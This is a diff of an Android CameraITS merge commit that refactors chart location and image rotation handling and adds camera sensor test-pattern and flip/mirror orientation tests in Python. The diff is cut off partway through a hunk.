Merge changes from topic "am-f3e2015fe23243f687eb70a90e6e12e4" into oc-dev am: 6783a05b10 am: 57f529cec9 am: 90094a86cb
am: 40fee44dd3

Change-Id: Ib493066b8b48d44580087066518c04382e6a5af7
diff --git a/apps/CameraITS/pymodules/its/cv2image.py b/apps/CameraITS/pymodules/its/cv2image.py
index 83e654e..a34d4ce 100644
--- a/apps/CameraITS/pymodules/its/cv2image.py
+++ b/apps/CameraITS/pymodules/its/cv2image.py
@@ -12,27 +12,36 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import matplotlib
-matplotlib.use('Agg')
-
-import its.error
-from matplotlib import pylab
-import sys
-from PIL import Image
-import numpy
-import math
-import unittest
-import cStringIO
-import scipy.stats
-import copy
-import cv2
 import os
+import unittest
+
+import cv2
+import its.device
+import its.error
+import numpy
+
+VGA_HEIGHT = 480
+VGA_WIDTH = 640
+
 
 def scale_img(img, scale=1.0):
     """Scale and image based on a real number scale factor."""
     dim = (int(img.shape[1]*scale), int(img.shape[0]*scale))
     return cv2.resize(img.copy(), dim, interpolation=cv2.INTER_AREA)
 
+
+def gray_scale_img(img):
+    """Return gray scale version of image."""
+    if len(img.shape) == 2:
+        img_gray = img.copy()
+    elif len(img.shape) == 3:
+        if img.shape[2] == 1:
+            img_gray = img[:, :, 0].copy()
+        else:
+            img_gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
+    return img_gray
+
+
 class Chart(object):
     """Definition for chart object.
 
@@ -57,6 +66,9 @@
         self._scale_start = scale_start
         self._scale_stop = scale_stop
         self._scale_step = scale_step
+        self.xnorm, self.ynorm, self.wnorm, self.hnorm, self.scale = its.image.chart_located_per_argv()
+        if not self.xnorm:
+            self.locate()
 
     def _calc_scale_factors(self, cam, props, fmt, s, e, fd):
         """Take an image with s, e, & fd to find the chart location.
@@ -79,7 +91,7 @@
         req['android.lens.focusDistance'] = fd
         cap_chart = its.image.stationary_lens_cap(cam, req, fmt)
         img_3a = its.image.convert_capture_to_rgb_image(cap_chart, props)
-        img_3a = its.image.flip_mirror_img_per_argv(img_3a)
+        img_3a = its.image.rotate_img_per_argv(img_3a)
         its.image.write_image(img_3a, 'af_scene.jpg')
         template = cv2.imread(self._file, cv2.IMREAD_ANYDEPTH)
         focal_l = cap_chart['metadata']['android.lens.focalLength']
@@ -95,8 +107,15 @@
         print 'Chart/image scale factor = %.2f' % scale_factor
         return template, img_3a, scale_factor
 
-    def locate(self, cam, props, fmt, s, e, fd):
-        """Find the chart in the image.
+    def locate(self, cam=None, props=None, fmt=None, s=0, e=0, fd=0):
+        """Find the chart in the image, and append location to chart object.
+
+        The values appended are:
+            xnorm:          float; [0, 1] left loc of chart in scene
+            ynorm:          float; [0, 1] top loc of chart in scene
+            wnorm:          float; [0, 1] width of chart in scene
+            hnorm:          float; [0, 1] height of chart in scene
+            scale:          float; scale factor to extract chart
 
         Args:
             cam:            An open device session
@@ -107,29 +126,30 @@
             e:              Exposure time for the AF request as defined in
                             android.sensor.exposureTime
             fd:             float; autofocus lens position
-
-        Returns:
-            xnorm:          float; [0, 1] left loc of chart in scene
-            ynorm:          float; [0, 1] top loc of chart in scene
-            wnorm:          float; [0, 1] width of chart in scene
-            hnorm:          float; [0, 1] height of chart in scene
         """
-        chart, scene, s_factor = self._calc_scale_factors(cam, props, fmt,
-                                                          s, e, fd)
+        if cam:
+            chart, scene, s_factor = self._calc_scale_factors(cam, props, fmt,
+                                                              s, e, fd)
+        else:
+            with its.device.ItsSession() as cam:
+                props = cam.get_camera_properties()
+                fmt = {'format': 'yuv', 'width': VGA_WIDTH,
+                       'height': VGA_HEIGHT}
+
+                # Get sensitivity, exposure time, and focus distance with 3A.
+                s, e, _, _, fd = cam.do_3a(get_results=True)
+
+                chart, scene, s_factor = self._calc_scale_factors(cam, props,
+                                                                  fmt, s, e, fd)
         scale_start = self._scale_start * s_factor
         scale_stop = self._scale_stop * s_factor
         scale_step = self._scale_step * s_factor
+        self.scale = s_factor
         max_match = []
         # check for normalized image
         if numpy.amax(scene) <= 1.0:
             scene = (scene * 255.0).astype(numpy.uint8)
-        if len(scene.shape) == 2:
-            scene_gray = scene.copy()
-        elif len(scene.shape) == 3:
-            if scene.shape[2] == 1:
-                scene_gray = scene[:, :, 0]
-            else:
-                scene_gray = cv2.cvtColor(scene.copy(), cv2.COLOR_RGB2GRAY)
+        scene_gray = gray_scale_img(scene)
         print 'Finding chart in scene...'
         for scale in numpy.arange(scale_start, scale_stop, scale_step):
             scene_scaled = scale_img(scene_gray, scale)
@@ -142,26 +162,36 @@
         # determine if optimization results are valid
         opt_values = [x[0] for x in max_match]
         if 2.0*min(opt_values) > max(opt_values):
-            estring = ('Unable to find chart in scene!\n'
+            estring = ('Warning: unable to find chart in scene!\n'
                        'Check camera distance and self-reported '
                        'pixel pitch, focal length and hyperfocal distance.')
-            raise its.error.Error(estring)
-        # find max and draw bbox
-        match_index = max_match.index(max(max_match, key=lambda x: x[0]))
-        scale = scale_start + scale_step * match_index
-        print 'Optimum scale factor: %.3f' %  scale
-        top_left_scaled = max_match[match_index][1]
-        h, w = chart.shape
-        bottom_right_scaled = (top_left_scaled[0] + w, top_left_scaled[1] + h)
-        top_left = (int(top_left_scaled[0]/scale),
-                    int(top_left_scaled[1]/scale))
-        bottom_right = (int(bottom_right_scaled[0]/scale),
-                        int(bottom_right_scaled[1]/scale))
-        wnorm = float((bottom_right[0]) - top_left[0]) / scene.shape[1]
-        hnorm = float((bottom_right[1]) - top_left[1]) / scene.shape[0]
-        xnorm = float(top_left[0]) / scene.shape[1]
-        ynorm = float(top_left[1]) / scene.shape[0]
-        return xnorm, ynorm, wnorm, hnorm
+            print estring
+            self.wnorm = 1.0
+            self.hnorm = 1.0
+            self.xnorm = 0.0
+            self.ynorm = 0.0
+        else:
+            if (max(opt_values) == opt_values[0] or
+                        max(opt_values) == opt_values[len(opt_values)-1]):
+                estring = ('Warning: chart is at extreme range of locator '
+                           'check.\n')
+                print estring
+            # find max and draw bbox
+            match_index = max_match.index(max(max_match, key=lambda x: x[0]))
+            self.scale = scale_start + scale_step * match_index
+            print 'Optimum scale factor: %.3f' %  self.scale
+            top_left_scaled = max_match[match_index][1]
+            h, w = chart.shape
+            bottom_right_scaled = (top_left_scaled[0] + w,
+                                   top_left_scaled[1] + h)
+            top_left = (int(top_left_scaled[0]/self.scale),
+                        int(top_left_scaled[1]/self.scale))
+            bottom_right = (int(bottom_right_scaled[0]/self.scale),
+                            int(bottom_right_scaled[1]/self.scale))
+            self.wnorm = float((bottom_right[0]) - top_left[0]) / scene.shape[1]
+            self.hnorm = float((bottom_right[1]) - top_left[1]) / scene.shape[0]
+            self.xnorm = float(top_left[0]) / scene.shape[1]
+            self.ynorm = float(top_left[1]) / scene.shape[0]
 
 
 class __UnitTest(unittest.TestCase):
@@ -186,7 +216,8 @@
             blur = cv2.blur(chart, (j, j))
             blur = blur[:, :, numpy.newaxis]
             sharpness[j] = (yuv_full_scale *
-                    its.image.compute_image_sharpness(blur / white_level))
+                            its.image.compute_image_sharpness(blur /
+                                                              white_level))
         self.assertTrue(numpy.isclose(sharpness[2]/sharpness[4],
                                       numpy.sqrt(2), atol=0.1))
         self.assertTrue(numpy.isclose(sharpness[4]/sharpness[8],
diff --git a/apps/CameraITS/pymodules/its/image.py b/apps/CameraITS/pymodules/its/image.py
index 24b48bb..9fc4c5a 100644
--- a/apps/CameraITS/pymodules/its/image.py
+++ b/apps/CameraITS/pymodules/its/image.py
@@ -646,7 +646,10 @@
     ytile = math.ceil(ynorm * hfull)
     wtile = math.floor(wnorm * wfull)
     htile = math.floor(hnorm * hfull)
-    return img[ytile:ytile+htile,xtile:xtile+wtile,:].copy()
+    if len(img.shape)==2:
+        return img[ytile:ytile+htile,xtile:xtile+wtile].copy()
+    else:
+        return img[ytile:ytile+htile,xtile:xtile+wtile,:].copy()
 
 
 def compute_image_means(img):
@@ -780,6 +783,7 @@
     [gy, gx] = numpy.gradient(luma)
     return numpy.average(numpy.sqrt(gy*gy + gx*gx))
 
+
 def normalize_img(img):
     """Normalize the image values to between 0 and 1.
 
@@ -790,21 +794,39 @@
     """
     return (img - numpy.amin(img))/(numpy.amax(img) - numpy.amin(img))
 
-def flip_mirror_img_per_argv(img):
-    """Flip/mirror an image if "flip" or "mirror" is in argv
+
+def chart_located_per_argv():
+    """Determine if chart already located outside of test.
+
+    If chart info provided, return location and size. If not, return None.
+
+    Args:
+        None
+    Returns:
+        chart_loc:  float converted xnorm,ynorm,wnorm,hnorm,scale from argv text.
+                    argv is of form 'chart_loc=0.45,0.45,0.1,0.1,1.0'
+    """
+    for s in sys.argv[1:]:
+        if s[:10] == "chart_loc=" and len(s) > 10:
+            chart_loc = s[10:].split(",")
+            return map(float, chart_loc)
+    return None, None, None, None, None
+
+
+def rotate_img_per_argv(img):
+    """Rotate an image 180 degrees if "rotate" is in argv
 
     Args:
         img: 2-D numpy array of image values
     Returns:
-        Flip/mirrored image
+        Rotated image
     """
     img_out = img
-    if "flip" in sys.argv:
-        img_out = numpy.flipud(img_out)
-    if "mirror" in sys.argv:
-        img_out = numpy.fliplr(img_out)
+    if "rotate180" in sys.argv:
+        img_out = numpy.fliplr(numpy.flipud(img_out))
     return img_out
 
+
 def stationary_lens_cap(cam, req, fmt):
     """Take up to NUM_TRYS caps and save the 1st one with lens stationary.
 
@@ -829,6 +851,7 @@
             raise its.error.Error('Cannot settle lens after %d trys!' % trys)
     return cap[NUM_FRAMES-1]
 
+
 class __UnitTest(unittest.TestCase):
     """Run a suite of unit tests on this module.
     """
diff --git a/apps/CameraITS/tests/inprog/test_test_patterns.py b/apps/CameraITS/tests/inprog/test_test_patterns.py
deleted file mode 100644
index f75b141..0000000
--- a/apps/CameraITS/tests/inprog/test_test_patterns.py
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import its.image
-import its.device
-import its.objects
-import os.path
-
-def main():
-    """Test sensor test patterns.
-    """
-    NAME = os.path.basename(__file__).split(".")[0]
-
-    with its.device.ItsSession() as cam:
-        caps = []
-        for i in range(1,6):
-            req = its.objects.manual_capture_request(100, 10*1000*1000)
-            req['android.sensor.testPatternData'] = [40, 100, 160, 220]
-            req['android.sensor.testPatternMode'] = i
-
-            # Capture the shot twice, and use the second one, so the pattern
-            # will have stabilized.
-            caps = cam.do_capture([req]*2)
-
-            img = its.image.convert_capture_to_rgb_image(caps[1])
-            its.image.write_image(img, "%s_pattern=%d.jpg" % (NAME, i))
-
-if __name__ == '__main__':
-    main()
-
diff --git a/apps/CameraITS/tests/scene0/test_metadata.py b/apps/CameraITS/tests/scene0/test_metadata.py
index 752e02b..e78488e 100644
--- a/apps/CameraITS/tests/scene0/test_metadata.py
+++ b/apps/CameraITS/tests/scene0/test_metadata.py
@@ -90,8 +90,8 @@
         pixel_pitch_w = (sensor_size["width"] / fmts[0]["width"] * 1E3)
         print "Assert pixel_pitch WxH: %.2f um, %.2f um" % (pixel_pitch_w,
                                                             pixel_pitch_h)
-        assert 1.0 <= pixel_pitch_w <= 10
-        assert 1.0 <= pixel_pitch_h <= 10
+        assert 0.9 <= pixel_pitch_w <= 10
+        assert 0.9 <= pixel_pitch_h <= 10
         assert 0.333 <= pixel_pitch_w/pixel_pitch_h <= 3.0
 
         diag = math.sqrt(sensor_size["height"] ** 2 +
diff --git a/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py b/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
index c3c2147..7594f9f 100644
--- a/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
+++ b/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
@@ -12,19 +12,21 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import its.image
 import its.caps
 import its.device
+import its.image
 import its.objects
 import its.target
 
-def main():
-    """Test that the android.sensor.sensitivity parameter is applied properly
-    within a burst. Inspects the output metadata only (not the image data).
-    """
+NUM_STEPS = 3
+ERROR_TOLERANCE = 0.97  # Allow ISO to be rounded down by 3%
 
-    NUM_STEPS = 3
-    ERROR_TOLERANCE = 0.97 # Allow ISO to be rounded down by 3%
+
+def main():
+    """Test android.sensor.sensitivity parameter applied properly in burst.
+
+    Inspects the output metadata only (not the image data).
+    """
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
@@ -35,15 +37,16 @@
         sens_step = (sens_range[1] - sens_range[0]) / NUM_STEPS
         sens_list = range(sens_range[0], sens_range[1], sens_step)
         e = min(props['android.sensor.info.exposureTimeRange'])
-        reqs = [its.objects.manual_capture_request(s,e) for s in sens_list]
-        _,fmt = its.objects.get_fastest_manual_capture_settings(props)
+        reqs = [its.objects.manual_capture_request(s, e) for s in sens_list]
+        _, fmt = its.objects.get_fastest_manual_capture_settings(props)
 
         caps = cam.do_capture(reqs, fmt)
-        for i,cap in enumerate(caps):
+        for i, cap in enumerate(caps):
             s_req = sens_list[i]
-            s_res = cap["metadata"]["android.sensor.sensitivity"]
-            assert(s_req >= s_res)
-            assert(s_res/float(s_req) > ERROR_TOLERANCE)
+            s_res = cap['metadata']['android.sensor.sensitivity']
+            s_values = 's_write: %d, s_read: %d' % (s_req, s_res)
+            assert s_req >= s_res, s_values
+            assert s_res/float(s_req) > ERROR_TOLERANCE, ERROR_TOLERANCE
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CameraITS/tests/scene0/test_test_patterns.py b/apps/CameraITS/tests/scene0/test_test_patterns.py
new file mode 100644
index 0000000..a1d9cb8
--- /dev/null
+++ b/apps/CameraITS/tests/scene0/test_test_patterns.py
@@ -0,0 +1,174 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os
+
+import its.caps
+import its.device
+import its.image
+import its.objects
+import numpy as np
+
+NAME = os.path.basename(__file__).split('.')[0]
+PATTERNS = [1, 2]
+COLOR_BAR_ORDER = ['WHITE', 'YELLOW', 'CYAN', 'GREEN', 'MAGENTA', 'RED',
+                   'BLUE', 'BLACK']
+COLOR_CHECKER = {'BLACK': [0, 0, 0], 'RED': [1, 0, 0], 'GREEN': [0, 1, 0],
+                 'BLUE': [0, 0, 1], 'MAGENTA': [1, 0, 1], 'CYAN': [0, 1, 1],
+                 'YELLOW': [1, 1, 0], 'WHITE': [1, 1, 1]}
+CH_TOL = 2E-3  # 1/2 DN in [0:1]
+LSFR_COEFFS = 0b100010000  # PN9
+
+
+def check_solid_color(cap, props):
+    """Simple test for solid color.
+
+    Args:
+        cap: capture element
+        props: capture properties
+    Returns:
+        True/False
+    """
+    print 'Checking solid TestPattern...'
+    r, gr, gb, b = its.image.convert_capture_to_planes(cap, props)
+    r_tile = its.image.get_image_patch(r, 0.0, 0.0, 1.0, 1.0)
+    gr_tile = its.image.get_image_patch(gr, 0.0, 0.0, 1.0, 1.0)
+    gb_tile = its.image.get_image_patch(gb, 0.0, 0.0, 1.0, 1.0)
+    b_tile = its.image.get_image_patch(b, 0.0, 0.0, 1.0, 1.0)
+    var_max = max(np.amax(r_tile), np.amax(gr_tile), np.amax(gb_tile),
+                  np.amax(b_tile))
+    var_min = min(np.amin(r_tile), np.amin(gr_tile), np.amin(gb_tile),
+                  np.amin(b_tile))
+    white_level = int(props['android.sensor.info.whiteLevel'])
+    print ' pixel min: %.f, pixel max: %.f' % (white_level*var_min,
+                                               white_level*var_max)
+    return np.isclose(var_max, var_min, atol=CH_TOL)
+
+
+def check_color_bars(cap, props, mirror=False):
+    """Test image for color bars.
+
+    Compute avg of bars and compare to ideal
+
+    Args:
+        cap:            capture element
+        props:          capture properties
+        mirror (bool):  whether to mirror image or not
+    Returns:
+        True/False
+    """
+    print 'Checking color bar TestPattern...'
+    delta = 0.0005
+    num_bars = len(COLOR_BAR_ORDER)
+    color_match = []
+    img = its.image.convert_capture_to_rgb_image(cap, props=props)
+    if mirror:
+        print ' Image mirrored'
+        img = np.fliplr(img)
+    for i, color in enumerate(COLOR_BAR_ORDER):
+        tile = its.image.get_image_patch(img, float(i)/num_bars+delta,
+                                         0.0, 1.0/num_bars-2*delta, 1.0)
+        color_match.append(np.allclose(its.image.compute_image_means(tile),
+                                       COLOR_CHECKER[color], atol=CH_TOL))
+    print COLOR_BAR_ORDER
+    print color_match
+    return all(color_match)
+
+
+def check_pattern(cap, props, pattern):
+    """Simple tests for pattern correctness.
+
+    Args:
+        cap: capture element
+        props: capture properties
+        pattern (int): valid number for pattern
+    Returns:
+        boolean
+    """
+
+    # white_level = int(props['android.sensor.info.whiteLevel'])
+    if pattern == 1:  # solid color
+        return check_solid_color(cap, props)
+
+    elif pattern == 2:  # color bars
+        striped = check_color_bars(cap, props, mirror=False)
+        # check mirrored version in case image rotated from sensor orientation
+        if not striped:
+            striped = check_color_bars(cap, props, mirror=True)
+        return striped
+
+    else:
+        print 'No specific test for TestPattern %d' % pattern
+        return True
+
+
+def test_test_patterns(cam, props, af_fd):
+    """test image sensor test patterns.
+
+    Args:
+        cam: An open device session.
+        props: Properties of cam
+        af_fd: Focus distance
+    """
+
+    avail_patterns = props['android.sensor.availableTestPatternModes']
+    print 'avail_patterns: ', avail_patterns
+    sens_min, _ = props['android.sensor.info.sensitivityRange']
+    exposure = min(props['android.sensor.info.exposureTimeRange'])
+
+    for pattern in PATTERNS:
+        if pattern in avail_patterns:
+            req = its.objects.manual_capture_request(int(sens_min),
+                                                     exposure)
+            req['android.lens.focusDistance'] = af_fd
+            req['android.sensor.testPatternMode'] = pattern
+            fmt = {'format': 'raw'}
+            cap = cam.do_capture(req, fmt)
+            img = its.image.convert_capture_to_rgb_image(cap, props=props)
+
+            # Save pattern
+            its.image.write_image(img, '%s_%d.jpg' % (NAME, pattern), True)
+
+            # Check pattern for correctness
+            assert check_pattern(cap, props, pattern)
+        else:
+            print 'Pattern not in android.sensor.availableTestPatternModes.'
+
+
+def main():
+    """Test pattern generation test.
+
+    Test: capture frames for each valid test pattern and check if
+    generated correctly.
+    android.sensor.testPatternMode
+    0: OFF
+    1: SOLID_COLOR
+    2: COLOR_BARS
+    3: COLOR_BARS_FADE_TO_GREY
+    4: PN9
+    """
+
+    print '\nStarting %s' % NAME
+    with its.device.ItsSession() as cam:
+        props = cam.get_camera_properties()
+        its.caps.skip_unless(its.caps.raw16(props) and
+                             its.caps.manual_sensor(props) and
+                             its.caps.per_frame_control(props))
+
+        # For test pattern, use min_fd
+        fd = props['android.lens.info.minimumFocusDistance']
+        test_test_patterns(cam, props, fd)
+
+if __name__ == '__main__':
+    main()
diff --git a/apps/CameraITS/tests/scene2/test_faces.py b/apps/CameraITS/tests/scene2/test_faces.py
index 4e30fc1..2acce85 100644
--- a/apps/CameraITS/tests/scene2/test_faces.py
+++ b/apps/CameraITS/tests/scene2/test_faces.py
@@ -60,7 +60,7 @@
                 # but it should detect at least one face in last frame
                 if i == NUM_TEST_FRAMES - 1:
                     img = its.image.convert_capture_to_rgb_image(cap, props=props)
-                    img = its.image.flip_mirror_img_per_argv(img)
+                    img = its.image.rotate_img_per_argv(img)
                     img_name = "%s_fd_mode_%s.jpg" % (NAME, fd_mode)
                     its.image.write_image(img, img_name)
                     if len(faces) == 0:
diff --git a/apps/CameraITS/tests/scene3/test_flip_mirror.py b/apps/CameraITS/tests/scene3/test_flip_mirror.py
new file mode 100644
index 0000000..197f62a
--- /dev/null
+++ b/apps/CameraITS/tests/scene3/test_flip_mirror.py
@@ -0,0 +1,134 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the 'License');
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an 'AS IS' BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os
+import cv2
+
+import its.caps
+import its.cv2image
+import its.device
+import its.image
+import its.objects
+import numpy as np
+
+NAME = os.path.basename(__file__).split('.')[0]
+CHART_FILE = os.path.join(os.environ['CAMERA_ITS_TOP'], 'pymodules', 'its',
+                          'test_images', 'ISO12233.png')
+CHART_HEIGHT = 13.5  # cm
+CHART_DISTANCE = 30.0  # cm
+CHART_SCALE_START = 0.65
+CHART_SCALE_STOP = 1.35
+CHART_SCALE_STEP = 0.025
+CHART_ORIENTATIONS = ['nominal', 'flip', 'mirror', 'rotate']
+VGA_WIDTH = 640
+VGA_HEIGHT = 480
+(X_CROP, Y_CROP) = (0.5, 0.5)  # crop center area of ISO12233 chart
+
+
+def test_flip_mirror(cam, props, fmt, chart):
+    """Return if image is flipped or mirrored.
+
+    Args:
+        cam (class): An open device session
+        props (class): Properties of cam
+        fmt (dict): Capture format
+        chart (class): Object with chart properties
+
+    Returns:
+        boolean: True if flipped, False if not
+    """
+
+    # determine if in debug mode
+    debug = its.caps.debug_mode()
+
+    # get a local copy of the chart template
+    template = cv2.imread(CHART_FILE, cv2.IMREAD_ANYDEPTH)
+
+    # take img, crop chart, scale and prep for cv2 template match
+    s, e, _, _, fd = cam.do_3a(get_results=True)
+    req = its.objects.manual_capture_request(s, e, fd)
+    cap = cam.do_capture(req, fmt)
+    y, _, _ = its.image.convert_capture_to_planes(cap, props)
+    y = its.image.rotate_img_per_argv(y)
+    patch = its.image.get_image_patch(y, chart.xnorm, chart.ynorm,
+                                      chart.wnorm, chart.hnorm)
+    patch = 255 * its.cv2image.gray_scale_img(patch)
+    patch = its.cv2image.scale_img(patch.astype(np.uint8), chart.scale)
+
+    # sanity check on image
+    assert np.max(patch)-np.min(patch) > 255/8
+
+    # save full images if in debug
+    if debug:
+        its.image.write_image(template[:, :, np.newaxis]/255.0,
+                              '%s_template.jpg' % NAME)
+
+    # save patch
+    its.image.write_image(patch[:, :, np.newaxis]/255.0,
+                          '%s_scene_patch.jpg' % NAME)
+
+    # crop center areas and strip off any extra rows/columns
+    template = its.image.get_image_patch(template, (1-X_CROP)/2, (1-Y_CROP)/2,
+                                         X_CROP, Y_CROP)
+    patch = its.image.get_image_patch(patch, (1-X_CROP)/2,
+                                      (1-Y_CROP)/2, X_CROP, Y_CROP)
+    patch = patch[0:min(patch.shape[0], template.shape[0]),
+                  0:min(patch.shape[1], template.shape[1])]
+    comp_chart = patch
+
+    # determine optimum orientation
+    opts = []
+    for orientation in CHART_ORIENTATIONS:
+        if orientation == 'flip':
+            comp_chart = np.flipud(patch)
+        elif orientation == 'mirror':
+            comp_chart = np.fliplr(patch)
+        elif orientation == 'rotate':
+            comp_chart = np.flipud(np.fliplr(patch))
+        correlation = cv2.matchTemplate(comp_chart, template, cv2.TM_CCOEFF)
+        _, opt_val, _, _ = cv2.minMaxLoc(correlation)
+        if debug:
+            cv2.imwrite('%s_%s.jpg' % (NAME, orientation), comp_chart)
+        print ' %s correlation value: %d' % (orientation, opt_val)
+        opts.append(opt_val)
+
+    # determine if 'nominal' or 'rotated' is best orientation
+    assert_flag = (opts[0] == max(opts) or opts[3] == max(opts))
+    assert assert_flag, ('Optimum orientation is %s' %
+                         CHART_ORIENTATIONS[np.argmax(opts)])
+    # print warning if rotated
+    if opts[3] == max(opts):
+        print 'Image is rotated 180 degrees. Try "rotate" flag.'
+
+
+def main():
+    """Test if image is properly oriented."""
+
+    print '\nStarting test_flip_mirror.py'
+
+    # initialize chart class and locate chart in scene
+    chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
+                               CHART_SCALE_START, CHART_SCALE_STOP,
+                               CHART_SCALE_STEP)
+
+    with its.device.ItsSession() as cam:
+        props = cam.get_camera_properties()
+        fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
+
+        # test that image is not flipped, mirrored, or rotated
+        test_flip_mirror(cam, props, fmt, chart)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py b/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
index cd563be..24c6841 100644
--- a/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
+++ b/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
@@ -37,19 +37,20 @@
 CHART_SCALE_STEP = 0.025
 
 
-def test_lens_movement_reporting(cam, props, fmt, sensitivity, exp, af_fd):
+def test_lens_movement_reporting(cam, props, fmt, gain, exp, af_fd, chart):
     """Return fd, sharpness, lens state of the output images.
 
     Args:
         cam: An open device session.
         props: Properties of cam
         fmt: dict; capture format
-        sensitivity: Sensitivity for the 3A request as defined in
+        gain: Sensitivity for the 3A request as defined in
             android.sensor.sensitivity
         exp: Exposure time for the 3A request as defined in
             android.sensor.exposureTime
         af_fd: Focus distance for the 3A request as defined in
             android.lens.focusDistance
+        chart: Object that contains chart information
 
     Returns:
         Object containing reported sharpness of the output image, keyed by
@@ -57,15 +58,6 @@
             'sharpness'
     """
 
-    # initialize chart class
-    chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
-                               CHART_SCALE_START, CHART_SCALE_STOP,
-                               CHART_SCALE_STEP)
-
-    # find chart location
-    xnorm, ynorm, wnorm, hnorm = chart.locate(cam, props, fmt, sensitivity,
-                                              exp, af_fd)
-
     # initialize variables and take data sets
     data_set = {}
     white_level = int(props['android.sensor.info.whiteLevel'])
@@ -74,7 +66,7 @@
     fds = sorted(fds * NUM_IMGS)
     reqs = []
     for i, fd in enumerate(fds):
-        reqs.append(its.objects.manual_capture_request(sensitivity, exp))
+        reqs.append(its.objects.manual_capture_request(gain, exp))
         reqs[i]['android.lens.focusDistance'] = fd
     caps = cam.do_capture(reqs, fmt)
     for i, cap in enumerate(caps):
@@ -92,12 +84,12 @@
         print ' current lens location (diopters): %.3f' % data['loc']
         print ' lens moving %r' % data['lens_moving']
         y, _, _ = its.image.convert_capture_to_planes(cap, props)
-        y = its.image.flip_mirror_img_per_argv(y)
-        chart = its.image.normalize_img(its.image.get_image_patch(y,
-                                                                  xnorm, ynorm,
-                                                                  wnorm, hnorm))
-        its.image.write_image(chart, '%s_i=%d_chart.jpg' % (NAME, i))
-        data['sharpness'] = white_level*its.image.compute_image_sharpness(chart)
+        y = its.image.rotate_img_per_argv(y)
+        chart.img = its.image.normalize_img(its.image.get_image_patch(
+                y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+        its.image.write_image(chart.img, '%s_i=%d_chart.jpg' % (NAME, i))
+        data['sharpness'] = white_level*its.image.compute_image_sharpness(
+                chart.img)
         print 'Chart sharpness: %.1f\n' % data['sharpness']
         data_set[i] = data
     return data_set
@@ -110,6 +102,11 @@
     """
 
     print '\nStarting test_lens_movement_reporting.py'
+    # initialize chart class
+    chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
+                               CHART_SCALE_START, CHART_SCALE_STOP,
+                               CHART_SCALE_STEP)
+
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
         its.caps.skip_unless(not its.caps.fixed_focus(props))
@@ -121,7 +118,7 @@
         s, e, _, _, fd = cam.do_3a(get_results=True)
 
         # Get sharpness for each focal distance
-        d = test_lens_movement_reporting(cam, props, fmt, s, e, fd)
+        d = test_lens_movement_reporting(cam, props, fmt, s, e, fd, chart)
         for k in sorted(d):
             print ('i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
                    'sharpness: %.1f  \tlens_moving: %r \t'
diff --git a/apps/CameraITS/tests/scene3/test_lens_position.py b/apps/CameraITS/tests/scene3/test_lens_position.py
index f850e3d..2194b8c 100644
--- a/apps/CameraITS/tests/scene3/test_lens_position.py
+++ b/apps/CameraITS/tests/scene3/test_lens_position.py
@@ -38,7 +38,7 @@
 CHART_SCALE_STEP = 0.025
 
 
-def test_lens_position(cam, props, fmt, sensitivity, exp, af_fd):
+def test_lens_position(cam, props, fmt, sensitivity, exp, chart):
     """Return fd, sharpness, lens state of the output images.
 
     Args:
@@ -49,8 +49,7 @@
             android.sensor.sensitivity
         exp: Exposure time for the 3A request as defined in
             android.sensor.exposureTime
-        af_fd: Focus distance for the 3A request as defined in
-            android.lens.focusDistance
+        chart: Object with chart properties
 
     Returns:
         Dictionary of results for different focal distance captures
@@ -58,15 +57,6 @@
         d_static, d_moving
     """
 
-    # initialize chart class
-    chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
-                                CHART_SCALE_START, CHART_SCALE_STOP,
-                                CHART_SCALE_STEP)
-
-    # find chart location
-    xnorm, ynorm, wnorm, hnorm = chart.locate(cam, props, fmt, sensitivity,
-                                              exp, af_fd)
-
     # initialize variables and take data sets
     data_static = {}
     data_moving = {}
@@ -89,11 +79,11 @@
         print ' focus distance (diopters): %.3f' % data['fd']
         print ' current lens location (diopters): %.3f' % data['loc']
         y, _, _ = its.image.convert_capture_to_planes(cap, props)
-        chart = its.image.normalize_img(its.image.get_image_patch(y,
